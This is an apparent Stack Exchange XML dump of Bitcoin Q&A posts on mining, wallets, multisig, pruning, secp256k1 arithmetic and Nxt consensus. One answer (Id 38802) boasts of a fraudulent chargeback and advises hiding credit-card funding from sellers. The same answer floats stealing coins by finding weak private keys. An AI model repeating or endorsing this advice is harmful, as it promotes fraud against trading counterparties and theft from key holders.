  <row Id="38787" PostTypeId="2" ParentId="38786" CreationDate="2015-07-25T09:30:53.700" Score="3" Body="&lt;p&gt;Yes. To do this simply mine with both at the same time. A mining pool will never give out the same work twice. So mining with two 16 GH/s devices will be the same as one 32 GH/s device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mine at the same mining pool with both then the pool will show you mining at 32 GH/s.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2015-07-25T09:30:53.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38788" PostTypeId="2" ParentId="38768" CreationDate="2015-07-25T12:19:40.353" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=de.langerhans.wallet&amp;amp;hl=en&quot; rel=&quot;nofollow&quot;&gt;The Dogecoin Wallet&lt;/a&gt; was created by Max Keller, who is the lead developer for Dogecoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet_ltc&amp;amp;hl=en&quot; rel=&quot;nofollow&quot;&gt;Litecoin Wallet&lt;/a&gt; purports to be created by a third party developer who &quot;teamed up with the Litecoin Dev Team&quot;. I'm not sure if that counts for your purposes.&lt;/p&gt;&#xA;" OwnerUserId="13851" LastActivityDate="2015-07-25T12:19:40.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38792" PostTypeId="2" ParentId="38762" CreationDate="2015-07-25T16:29:05.783" Score="4" Body="&lt;p&gt;No, two wallets are not required. It sounds like you might be confusing wallets with addresses, where one bitcoin wallet can house many bitcoin addresses and keys. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to be able to execute a 2 of 3 multisig from one wallet you can do so with &lt;a href=&quot;https://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;bitcoin core&lt;/a&gt; with raw transactions. You will have to keep track of the private keys and &lt;a href=&quot;https://en.bitcoin.it/wiki/Pay_to_script_hash&quot; rel=&quot;nofollow&quot;&gt;redeemscript&lt;/a&gt; yourself and save them somewhere like a thumb drive for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a &lt;a href=&quot;https://www.youtube.com/watch?v=YN2Vyu9RupU&quot; rel=&quot;nofollow&quot;&gt;video tutorial&lt;/a&gt; that can guide you through creating and spending with your multisig address using bitcoin core. &lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2015-07-25T16:29:05.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38793" PostTypeId="2" ParentId="22368" CreationDate="2015-07-25T16:34:35.313" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0066.mediawiki#deployment&quot; rel=&quot;nofollow&quot;&gt;BIP-0066&lt;/a&gt; compliance requires a Block's &lt;strong&gt;nVersion&lt;/strong&gt; to be set to 3 by proposing &quot;to restrict valid signatures to exactly what is mandated by DER, to make the consensus rules not depend on OpenSSL's signature parsing. A change like this is required if implementations would want to remove all of OpenSSL from the consensus code.&quot;&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2015-07-25T16:34:35.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38794" PostTypeId="2" ParentId="38761" CreationDate="2015-07-25T16:50:30.023" Score="6" Body="&lt;p&gt;You can easily send your bitcoins from Coinbase to Electrum. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once logged into Coinbase click on the Send / Request button on your left hand menu. A form will pop up asking for an email address or bitcoin address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you want to do is enter in one of your bitcoin addresses from Electrum. Open up Electrum and click on the tab labeled &quot;Receive&quot;. You can pick any address that is listed there under Main Account &gt; Receiving.  Pick one, copy it and paste it in the Coinbase form that asks for an email address or bitcoin address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there just complete the form and hit send. Your funds will now be transferred to the address on your Electrum wallet. Be sure to &lt;a href=&quot;http://bitzuma.com/posts/a-beginners-guide-to-the-electrum-bitcoin-wallet/#make-a-backup&quot; rel=&quot;noreferrer&quot;&gt;back up your wallet&lt;/a&gt; and seed. If your computer crashes/breaks and you don't have a back up YOU WILL LOSE ALL OF YOUR COINS. &lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2015-07-25T16:50:30.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38795" PostTypeId="2" ParentId="38786" CreationDate="2015-07-25T16:58:45.287" Score="0" Body="&lt;p&gt;The answer is yes for USB based mining H/W hosted on the same computer. The &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_software&quot; rel=&quot;nofollow&quot;&gt;bfgminer and cgminer mining applications&lt;/a&gt; can easily support multiple USB mining devices on the same computer.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the answer is no if you are mining from home behind a NAT firewall and are trying to point two or more different IPv4 based miners to the same mining pool server supporting Stratum (STM) or GetBlockTemplate (GBT) protocols. This is a NAT firewall issue.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2015-07-25T16:58:45.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38800" PostTypeId="1" CreationDate="2015-07-25T23:21:50.087" Score="2" ViewCount="75" Body="&lt;p&gt;Spending freshly generated coins is prohibited by the protocol until there are at least 100 blocks on top of the block from which they came.  This is because the chances of a 100-block reorg is virtually zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The chances of a reorg of 1,000 or 10,000 blocks is even lower.  If the chainstate data is normalized, then its hash can be included in each block so that messing with it is as impossible as messing with the blockchain itself.  Would we then be able to prune off all but the last 10,000 blocks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the transaction history is valuable, but under the assumption that we will never see a reorg larger than a particular number of blocks, I suspect it isn't necessary for mining once the chainstate is protected as well as the entire blockchain has been.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me that normalizing the chainstate so that it can be hashed and protected (like block headers are) would allow validation and mining without having to save the entire blockchain.  That way, only those who really want the history would need to save it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="1434" LastActivityDate="2015-10-24T02:05:15.813" Title="Would a normalized, hashed, protected chainstate reduce miner storage costs?" Tags="|storage|validation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38801" PostTypeId="2" ParentId="38800" CreationDate="2015-07-26T00:18:06.957" Score="1" Body="&lt;p&gt;You don't actually need to commit to the chainstate in blocks - just compute it the normal way, but throw away the block data after validation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, that's exactly what the pruned mode in Bitcoin Core 0.11 does, and it supports mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Storing the hash of the chainstate into blocks does have other advantages, like being able to skip processing historical blocks entirely if you're willing to trust a miner majority to commit to a correct one. However, it comes at a very significant cost for validation, as this hash would have to be recomputed and verified with the entry inside every block.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-07-26T00:18:06.957" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38802" PostTypeId="2" ParentId="37997" CreationDate="2015-07-26T03:12:24.970" Score="1" Body="&lt;p&gt;I use Paxful,  they have many different payment options including paypal.  It is P2P though, but there is escrow and you can see if the seller is online and if they are it takes about 5 minutes to complete the entire process.  Users have feedback and reviews etc.  You never have to really even talk to the seller, just leave them a message and send the funds through Paypal and they deposit coins in your wallet right away.   Really easy, quick, simple to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, as far as I know Virwox works, just lots of fees and limits etc as you mentioned.  The limits are through second life, you should go to their website to find out more info.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I did Virowox or w/e its called. (sry for late response) .. First transaction is delayed by 2 days. ( I actually did a chargeback and got the BTC for free and they never said anything, I still use them). The rate is crap, but so are p2p sites. Once you do your first tx tho, it's pretty much instant. So fastest would be USD-&gt;SLL-&gt;BTC on Virowox, but margin is kinda high.  Also the limits are pretty low.   Like 100 bucks until you do stuff to raise the limit I guess. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have been using localbitcoins (.com) to do trades, it seems to have more activity than paxful and you can create advertisements even if your a brand new seller with no established reputation on other sites, (unlike paxful). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other things I have done...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Buy Walmart Gift Cards on my Walmart Credit Card then exchange for BTC on paxful or probably cheaper LBC.   High margin but who cares its credit! :P&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use Google Wallet (after loading it with my paypal debit card) to buy BTC on LBC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Buy Vanilla Visa Card with Walmart Credit Card,  Paypal Request Payment from myself (with dummy email) then buy BTC on Virowox with Paypal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FYI&lt;/strong&gt; - Don't ever tell the seller you bought it with a credit card, they will run like you have the plague.   And if they notice it somehow, just play dumb and usually they will be cool and do it &quot;just this one time&quot;.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Found some BTC ATM's near me.   Didn't end up using as the fees were too high, but good to know its there in a pinch.  google bitcoin atm locations and you can use your paypal debit card to buy BTC there.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Fun Stuff to do with BTC&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Buy into Seals with Clubs BTC Poker site,  Win lots of BTC,  cash out only takes a few hours,  entirely anonymous, no documentation or information collected ever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go on coinarch (or similar site, but i like coin arch) and daytrade BTC using elliot wave indicators to guide your longs and shorts.  Make lots of BTC,   play more poker,  make more BTC!  haha :P&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, BTC about to spike or drop in the toilet, might be worth it to take a long position on it and see where it goes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Future Plans&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hack the blockchain.  ( haha yeah right )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But actually, scan the blockchain for weak keys in order to calculate private keys.   Is that illegal or anything?  It's just like monopoly money right?  Do you get in trouble if you find out someones private key and jack them for all their BTC?  Maybe I should post that as a question.  I seem to recall something about people getting arrested for similar activity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start trader accounts on LBC and Paxful and start trading BTC in my spare time.  Those guys charge quite a lot to sell and buy for cost basically, sometimes a lot less.   And if you accept alternative payment methods that are high risk (like paypal) you get to charge a lot more.  With Paypal you can accept Credit/Debit Cards, Vanilla Visa Gift Cards,  Paypal My Cash,  and probably some other ones.  So it's really kind of a good deal and I just know sooner or later some big company like Paypal or Ebay is going to see the common man making a buck and take it away from us so gotta get while the gettin is good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might even code my own BTC Trading site as the two best options I found are kinda janky and I'm a programmer so why not.  :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll post more if I can think of it.  I've been a busy little bitcoiner.  :) &lt;/p&gt;&#xA;" OwnerUserId="27635" LastEditorUserId="27635" LastEditDate="2015-08-19T04:02:43.367" LastActivityDate="2015-08-19T04:02:43.367" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38803" PostTypeId="2" ParentId="38740" CreationDate="2015-07-26T04:15:16.713" Score="2" Body="&lt;p&gt;I posted this answer on &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1133575.msg11971722#msg11971722&quot; rel=&quot;nofollow&quot;&gt;BitcoinTalk&lt;/a&gt; but will copy it here for those who don't want to chase links. The following is a direct paste from that link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can, installing sage and using that rather than Python will make your life much easier. There is an example notebook on bitcoin.ninja which does some ECDSA stuff on Bitcoin's curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To directly answer your question, we can get x from y in basically the same way you got y from x. To see this, let's walk through why your method works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have from our curve equation that Y = y^2 = x^3 + 7. You can compute Y easily from x, then you're solving Y = y^2 for y. By Fermat's Little Theorem we can write 1 = y^(p - 1) = Y^(p - 1)/2. Write Q = (p - 1)/2; then we have Y^Q = 1, so Y^(Q + 1) = Y = y^2, so Y^((Q + 1)/2) = y. As it turns out, (Q + 1)/2 = (p + 1)/4, which is why you were able to solve for y by using an exponent of (p + 1)/4. Notice that this depends crucially on p being 3 mod 4; otherwise (p + 1)/4 would not be an integer and we wouldn't be able to compute this. Fortunately our choice of p satisfies this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK! So let's do the analogous thing for x. Let's write X = x^3 = y^2 - 7. X can be computed from y easily, so we need to solve X = x^3. Write Q = (p - 1)/3; then X^Q = x^(p - 1) = 1, so X^(Q + 1) = Q = x^3, so X^((Q + 1)/3) = x. As it turns out, (Q + 1)/3 = (p + 2)/9. This time we depend crucially on p being 7 mod 9, in order that this is an integer. Luckily it is! So there you go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL;DR use (p + 2)/9 in place of (p + 1)/4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and to get the other two cube roots you multiply by a nontrivial cube root of 1. (Similar to you multiplying by -1 in your original code.) One such cube root is 0x7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is Python code analogous to yours. It takes one of your output y values and returns the input x value as x2.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Input&#xA;y = 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8&#xA;&#xA;## Field parameters&#xA;# Field modulus&#xA;p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f&#xA;# Cube root of 1&#xA;beta = 0x7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee&#xA;&#xA;## Actual code&#xA;xcubed = (y*y - 7) % p&#xA;print &quot;xcubed = 0x%x&quot; % xcubed&#xA;&#xA;x = pow(xcubed, (p + 2) / 9, p)&#xA;print &quot;x1 = 0x%x&quot; % x&#xA;print &quot;x2 = 0x%x&quot; % (x * beta % p)&#xA;print &quot;x3 = 0x%x&quot; % (x * beta * beta % p)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Its output is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xcubed = 0x4866d6a5ab41ab2c6bcc57ccd3735da5f16f80a548e5e20a44e4e9b8118c26eb&#xA;x1 = 0xc994b69768832bcbff5e9ab39ae8d1d3763bbf1e531bed98fe51de5ee84f50fb&#xA;x2 = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798&#xA;x3 = 0xbcace2e99da01887ab0102b696902325872844067f15e98da7bba04400b88fcb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16909" LastEditorUserId="16909" LastEditDate="2015-07-26T04:20:38.870" LastActivityDate="2015-07-26T04:20:38.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38804" PostTypeId="2" ParentId="38752" CreationDate="2015-07-26T06:41:41.383" Score="2" Body="&lt;p&gt;Unclaimed Open Assets units are indeed destroyed, which (depending on the use case) could be a problem for you. Other protocols such as &lt;a href=&quot;http://coinspark.org/&quot; rel=&quot;nofollow&quot;&gt;CoinSpark&lt;/a&gt; (ours), &lt;a href=&quot;http://counterparty.io/&quot; rel=&quot;nofollow&quot;&gt;Counterparty&lt;/a&gt; and &lt;a href=&quot;http://www.omnilayer.org/&quot; rel=&quot;nofollow&quot;&gt;Omni Layer&lt;/a&gt; don't have this accidental destruction problem, because the assets always go somewhere by default, if they are not explicitly reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In CoinSpark this default place is the last non-&lt;code&gt;OP_RETURN&lt;/code&gt; transaction output. In Counterparty and Omni, the default place is the addresses where they were originally kept (they can do this because in their model, assets sit at an address, rather than in a transaction output).&lt;/p&gt;&#xA;" OwnerUserId="27169" LastActivityDate="2015-07-26T06:41:41.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38805" PostTypeId="2" ParentId="38753" CreationDate="2015-07-26T07:58:18.450" Score="1" Body="&lt;p&gt;As you know from your &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/38724/how-is-the-next-forger-decided-in-nxt/38730?noredirect=1#comment45486_38730&quot;&gt;previous question&lt;/a&gt;, a node is entitled to forge a block and submit it to the network when&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hit &amp;lt; BaseTarget * EffectiveBalance * TimeSinceLastBlock&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where new hit and BaseTarget values are computed from the last block, the hit value being effectively random and the BaseTarget being adjusted to maintain a steady blockchain growth rate of about one new block per minute. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All nodes running the NRS (Nxt Reference Software) use the same formulas to compute these values, and therefore if all of those nodes are on the same fork of the blockchain they will all agree on what the values are. Any new block received from another node is checked to make sure that the rule above was followed. If not, the block is rejected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible for the blockchain to fork, even when all nodes follow the rules, due to several nodes becoming eligible to forge at about the same time combined with network delays. Or, a subset of nodes could become isolated from the main network for a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once a fork occurs, the competing blockchains will have different tails and all the blocks that make up the tails will have different hit and BaseTarget values. All nodes running NRS will chose the blockchain with the greatest cummulative difficulty, where &lt;/p&gt;&#xA;&#xA;&lt;p&gt;cumulativeDifficulty = cumulativeDifficultyOfPreviousBlock + (2^64 / BaseTarget)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cumulativeDifficulty grows with each new block, moreso when BaseTarget is small (more difficult to get a hit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a subset of nodes is isolated for a time, those nodes will continue to forge; but because they have a smaller combined balance, initially forging takes longer. BaseTarget will adjust larger to shorten the time between blocks, and thus cumulativeDifficulty will not grow as fast. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When this subset of nodes reconnects with the main network, its fork of the blockchain is considered by the main network (if less than 1440 blocks have been forged during the isolation). But because the main network has a greater combined balance, it will have a greater cumulativeDifficulty and therefore reject the competing blockchain. Likewise, the subset of nodes will consider the main fork and accept it unless more than 1440 blocks have been added on their fork, in which case a blockchain rollback or a fresh blockchain download is required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how consensus is achieved on the network: it is governed by the nodes that have the greatest combined balance.&lt;/p&gt;&#xA;" OwnerUserId="20940" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-07-26T07:58:18.450" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38807" PostTypeId="2" ParentId="34319" CreationDate="2015-07-26T09:52:07.210" Score="1" Body="&lt;p&gt;did you read the manual?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To prevent the interruption of USB power supply, please ensure the&#xA;  computer is not in standby or sleep mode. Otherwise, the cgminer wouldn’t find&#xA;  the miner even make it ZOMBIE.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;source: Page 4 of &lt;a href=&quot;https://www.bitmaintech.com/files/download/AntMiner-U3%20user%20guide.pdf&quot; rel=&quot;nofollow&quot;&gt;https://www.bitmaintech.com/files/download/AntMiner-U3%20user%20guide.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27637" LastActivityDate="2015-07-26T09:52:07.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38809" PostTypeId="2" ParentId="38767" CreationDate="2015-07-26T11:59:37.823" Score="4" Body="&lt;p&gt;Currently, only full-nodes, i.e. nodes that have the complete blockchain inventorized relay blocks. Personally, I've recently encountered the first problem, when my Linux partition ran out of storage, yet if I had chosen a bigger partition size, I'd be able to even afford a multiple of the 50GiB easily.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Storage usage:&lt;/strong&gt; Currently, the blockchain is about 50GiB. If it continues to grow at 1MiB per 10 minutes, storing the complete blockchain should remain affordable for those that want to.&lt;br&gt;&#xA;For all the others, there now exists the option to run a &lt;a href=&quot;https://bitcoin.stackexchange.com/q/37496/5406&quot;&gt;pruning node&lt;/a&gt;. &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/6148&quot; rel=&quot;nofollow noreferrer&quot;&gt;Once pruning nodes will be enabled to relay blocks&lt;/a&gt;, I would expect that the number of serving nodes will start to climb again.&lt;br&gt;&#xA;There would need to be some nodes with the complete blockchain to secure history, though.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Client startup time&lt;/strong&gt;: This may become a problem at some point, but the blockchain data doesn't get checked every start-up, rather synchronization only runs once for each block. So, with a current computer, I don't think it is an issue now or in the foreseeable future.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;First-time synchronization&lt;/strong&gt;: Synchronization has been dramatically improved with the release of Bitcoin Core 0.10. Now, only the block headers have to be processed in order and all other block data may be processed in any order. This and other tweaks have drastically reduced the time necessary to catch up with the network. My computer can now do initial synchronization within a few hours. As processing power will scale, I expect this to remain manageable for the foreseeable future.&lt;br&gt;&#xA;Update: The coming 0.12 release will additionally increase synchronization speed by x5, due to validation of signatures being run through &lt;code&gt;libsecp256k1&lt;/code&gt;, a library that has been specifically coded to run Bitcoin operations more efficiently.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2016-01-24T08:32:08.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38810" PostTypeId="2" ParentId="34319" CreationDate="2015-07-26T13:18:00.993" Score="3" Body="&lt;p&gt;This is a known and notable problem with Antminer U3s.  It's discussed at various locations around the Web.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The design couples the USB and miner +5V power rails, which is not good practice.  USB interfaces should be both electrically and optically isolated.  When a unit goes ZOMBIE, it generally requires unplugging and replugging to restart it, which fits with the above.  Some commenters claim that cutting the power lines in the USB cables improves reliability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the maintainer of cgminer comes right out and says that the design is inherently unstable.  In light of my own experience I agree.  I ran three Jalapenos on a dedicated Pogoplug linux system for a year with no problems.  Two U3s have been on the same Pogoplug for two weeks now, and neither has run for 24 hours straight.  They're going back to the seller tomorrow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long and short of it, if you get a stable unit it will serve you well.  But most of them are unstable to at least some degree.&lt;/p&gt;&#xA;" OwnerUserId="27640" LastActivityDate="2015-07-26T13:18:00.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38811" PostTypeId="2" ParentId="35494" CreationDate="2015-07-26T13:31:55.340" Score="0" Body="&lt;p&gt;We needed to retest the previous support line created from the first bubble that went to $250.  Traders will see this and come back to speculate on bitcoin in and around this price range.  You can already see the bottom forming as of July 2015.  I assume there will be alot of consolidation/sideways price action before any substantial move up.  If it takes out the $250 lows, then I would think Bitcoin is not a worthy enough instrument to speculate on, and deem it as predictable as a pennystock in the real markets.  (95% of pennystocks collapse and eventually get delisted) &#xA;Personally I've thought a real lot about bitcoin and I no longer think of it as a viable currency but more as a speculative equity that receives alot of promotion making it pop here and there.  I'm only long bitcoin because Technical Analysis says its a good time to buy near $250.  I do plan on selling if it goes below 250. As long as it remains above that price I'll stay in bitcoin. &lt;/p&gt;&#xA;" OwnerUserId="27641" LastEditorUserId="27641" LastEditDate="2015-07-26T13:46:55.420" LastActivityDate="2015-07-26T13:46:55.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38812" PostTypeId="1" AcceptedAnswerId="38813" CreationDate="2015-07-26T14:55:08.353" Score="1" ViewCount="309" Body="&lt;p&gt;I know you can use the bitcoin client to sign messages (for which you own the private key) and verify messages from other public addresses. But can you actually embed a signed message into a transaction so its on the blockchain for anyone to verify? When I say &quot;signed message&quot; i'm referring to an arbitrary message like in the attached example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HT1Ux.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HT1Ux.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6885" LastActivityDate="2015-07-26T15:30:51.360" Title="Can you include a signature in a bitcoin payment?" Tags="|transactions|signature|message-signing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38813" PostTypeId="2" ParentId="38812" CreationDate="2015-07-26T15:30:51.360" Score="3" Body="&lt;p&gt;No. This is not possible, although, technically it could be possible by adding &lt;code&gt;n&lt;/code&gt; child transaction each formed as a tx out of you original transaction. The child transaction then could each have a OP_RETURN (data only) output. With a OP_RETURN output you can store up to 80 bytes (mind &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/5286&quot; rel=&quot;nofollow&quot;&gt;5286&lt;/a&gt;). A DER signature will be around &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0062.mediawiki#der-encoding&quot; rel=&quot;nofollow&quot;&gt;72 Bytes (71.5 in avg)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... so not much to left besides the signature (~8 bytes per OP_RETURN tx as tx out of the original tx). So maybe use OP_RETURN txout &lt;code&gt;0&lt;/code&gt; to &lt;code&gt;n-1&lt;/code&gt; for the text/data and &lt;code&gt;n&lt;/code&gt; for the signature. Obviously this will increase your transaction fee a little because you need at least 2 additional transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusion:&lt;/strong&gt;&#xA;Not possible unless your are happy to experiment with forging your own custom transactions.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-07-26T15:30:51.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38814" PostTypeId="1" CreationDate="2015-07-26T16:58:37.813" Score="0" ViewCount="1737" Body="&lt;p&gt;After the launch of MultiBit HD, I decided to move from &lt;strong&gt;MultiBit&lt;/strong&gt; to &lt;strong&gt;Coinbase&lt;/strong&gt;. What is the cheapest way to transfer all my money from one wallet to another? Can I somehow export/import my key/wallet (if yes, how) or the only way would be to send money and pay transaction fees (if yes, should I transfer them all at once or in smaller chunks)?&lt;/p&gt;&#xA;" OwnerUserId="22797" LastActivityDate="2016-01-23T18:16:46.023" Title="Cheapest way to move money from MultiBit to Coinbase" Tags="|wallet|transaction-fees|multibit|coinbase.com|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38815" PostTypeId="1" AcceptedAnswerId="38819" CreationDate="2015-07-26T17:42:09.307" Score="1" ViewCount="79" Body="&lt;p&gt;I am on a pool that asks you to select a difficulty for your miner. How can some shares be harder than others if they are just a hash?&lt;/p&gt;&#xA;" OwnerUserId="21126" LastEditorUserId="5406" LastEditDate="2016-04-04T12:02:27.870" LastActivityDate="2016-04-04T12:02:27.870" Title="How can a share be 'harder'" Tags="|mining-pools|miner-configuration|mining-pool-shares|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38816" PostTypeId="1" CreationDate="2015-07-26T18:23:49.027" Score="2" ViewCount="536" Body="&lt;p&gt;I am facing serious problem in listtransactions call. I am getting duplicate transactions with &quot;send&quot; and &quot;Received&quot; category. For I have sent some bitcoins from 31zeoskE8zeyQARFEVzwJzsp7GQpLn5zhF to 13MwqVWaNjad4xbGV5WQPaPVcMekU5YJmB. And when I call listtransactions, I get this output,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {&#xA;    &quot;involvesWatchonly&quot; : true,&#xA;    &quot;account&quot; : &quot;&quot;,&#xA;    &quot;address&quot; : &quot;3Ft9W7HfXeBMwuwcfehV9UPs5gnxbc7Wji&quot;,&#xA;    &quot;category&quot; : &quot;receive&quot;,&#xA;    &quot;amount&quot; : 0.00019000,&#xA;    &quot;vout&quot; : 1,&#xA;    &quot;confirmations&quot; : 20,&#xA;    &quot;blockhash&quot; : &quot;0000000000000000007f43360b2d7005c8f25013647359d468b8c2ef281672ab&quot;,&#xA;    &quot;blockindex&quot; : 438,&#xA;    &quot;blocktime&quot; : 1437928178,&#xA;    &quot;txid&quot; : &quot;eb0f12741947a3be8fdbb15c0401a663e45bd0c68b317b58f250fbb3a698e5fa&quot;,&#xA;    &quot;walletconflicts&quot; : [&#xA;    ],&#xA;    &quot;time&quot; : 1437928101,&#xA;    &quot;timereceived&quot; : 1437928101&#xA;},&#xA;{&#xA;    &quot;involvesWatchonly&quot; : true,&#xA;    &quot;account&quot; : &quot;&quot;,&#xA;    &quot;address&quot; : &quot;31zeoskE8zeyQARFEVzwJzsp7GQpLn5zhF&quot;,&#xA;    &quot;category&quot; : &quot;receive&quot;,&#xA;    &quot;amount&quot; : 0.00010000,&#xA;    &quot;vout&quot; : 0,&#xA;    &quot;confirmations&quot; : 20,&#xA;    &quot;blockhash&quot; : &quot;0000000000000000007f43360b2d7005c8f25013647359d468b8c2ef281672ab&quot;,&#xA;    &quot;blockindex&quot; : 438,&#xA;    